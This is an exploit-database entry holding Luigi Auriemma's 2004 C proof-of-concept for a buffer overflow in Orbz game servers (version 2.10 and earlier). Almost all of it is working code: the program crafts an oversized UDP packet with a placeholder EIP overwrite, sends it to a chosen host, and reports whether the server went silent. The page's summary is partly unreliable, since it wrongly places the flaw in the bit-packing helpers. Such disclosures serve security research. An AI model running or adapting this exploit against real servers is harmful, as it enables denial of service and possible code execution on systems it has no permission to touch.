Read/Write bits to buffer

vendor:
by:
Luigi Auriemma
7.5
CVSS
HIGH
Buffer Overflow
121
CWE
Product Name:
Affected Version From:
Affected Version To:
Patch Exists: No
Related CWE: CVE-XXXX-XXXX
CPE:
Metasploit:
Other Scripts:
Platforms Tested:
This code snippet contains functions for reading and writing bits to a buffer. It supports up to 32 bits numbers and is not the fastest method. The vulnerability lies in the lack of input validation, which can lead to buffer overflow if the input exceeds the allowed number of bits. The vulnerability can be exploited to execute arbitrary code or crash the program.
Mitigation:

To mitigate this vulnerability, input validation should be implemented to ensure that the number of bits to read or write does not exceed the allowed limit. Additionally, buffer bounds checking should be performed to prevent buffer overflow.
Source
Exploit-DB raw data:

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
/*

Read/Write bits to buffer 0.1.1
by Luigi Auriemma
e-mail: aluigi@altervista.org
web:    http://aluigi.altervista.org

max 32 bits numbers supported (from 0 to 4294967295).
Probably not the fastest bit packing functions existent, but I like them.

*/



unsigned long read_bits(    // number read
  unsigned long bits,       // how much bits to read
  unsigned char *in,        // buffer from which to read the number
  unsigned long in_bits     // position of the buffer in bits
) {
    unsigned long   seek_bits,
                    rem,
                    seek = 0,
                    ret  = 0,
                    mask = -1L;

    if(bits > 32) return(0);
    if(bits < 32) mask = (1 << bits) - 1;
    for(;;) {
        seek_bits = in_bits & 7;
        ret |= ((*(in + (in_bits >> 3)) >> seek_bits) & mask) << seek;
        rem = 8 - seek_bits;
        if(rem >= bits) break;
        bits    -= rem;
        in_bits += rem;
        seek    += rem;
        mask    = (1 << bits) - 1;
    }
    return(ret);
}



unsigned long write_bits(   // position where the stored number finishs
  unsigned long data,       // number to store
  unsigned long bits,       // how much bits to occupy
  unsigned char *out,       // buffer on which to store the number
  unsigned long out_bits    // position of the buffer in bits
) {
    unsigned long   seek_bits,
                    rem;

    if(bits > 32) return(out_bits);
    if(bits < 32) data &= ((1 << bits) - 1);
    for(;;) {
        seek_bits = out_bits & 7;
        *(out + (out_bits >> 3)) &= (1 << seek_bits) - 1;   // zero
        *(out + (out_bits >> 3)) |= (data << seek_bits);
        rem = 8 - seek_bits;
        if(rem >= bits) break;
        out_bits += rem;
        bits     -= rem;
        data     >>= rem;
    }
    return(out_bits + bits);
}




#ifdef WIN32
    #include <winsock.h>
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}




    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif



#define VER     "0.1"
#define PORT    28000
#define BUFFSZ  2048
#define TIMEOUT 3
#define EIP     "\xde\xc0\xad\xde"
#define BOF     "aaaaaaaaaaaaaaaaaaaa" \
                EIP \
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                "aaaaaaa" \
                /* max 255 */



int timeout(int sock);
u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    u_long  bits;
    int     sd,
            i,
            len;
    u_short port = PORT;
    u_char  buff[BUFFSZ];
    struct  sockaddr_in peer;


    srand(time(NULL));
    setbuf(stdout, NULL);

    fputs("\n"
        "Orbz <= 2.10 buffer-overflow "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%d)]\n"
            "\n", argv[0], port);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr),
        port);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    fputs("- ping server: ", stdout);
    if(sendto(sd, "\x1a", 1, 0, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();

    if(timeout(sd) < 0) {
        fputs("\n"
            "Error: no reply received, probably the server is not online\n"
            "\n", stdout);
        exit(1);
    }
    len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
    if(len < 0) std_err();

    if(*buff != 0x1c) {
        fputs("bad reply, however I continue\n", stdout);
    } else {
        fputs("ok\n", stdout);
    }

    memset(buff, 0x00, BUFFSZ);  /* not needed */
    bits = write_bits(0x1a, 8, buff, 0);
    bits = write_bits(9, 32, buff, bits);
    bits = write_bits(0xffffffff, 32, buff, bits);
    bits = write_bits(rand(), 32, buff, bits);
    bits++;
    bits = write_bits(sizeof(BOF) - 1, 8, buff, bits);
    for(i = 0; i < (sizeof(BOF) - 1); i++) {
        bits = write_bits(BOF[i], 8, buff, bits);
    }
    len = bits >> 3;
    if(bits & 7) len++;

    printf("- send BOOM packet, EIP = 0x%08lx\n", *(u_long *)EIP);
    if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();

    if(timeout(sd) < 0) {
        fputs("\nServer IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\nServer doesn't seem vulnerable\n\n", stdout);
    }

    close(sd);
    return(0);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_long resolv(char *host) {
    struct  hostent *hp;
    u_long  host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolve hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif




// milw0rm.com [2004-11-29]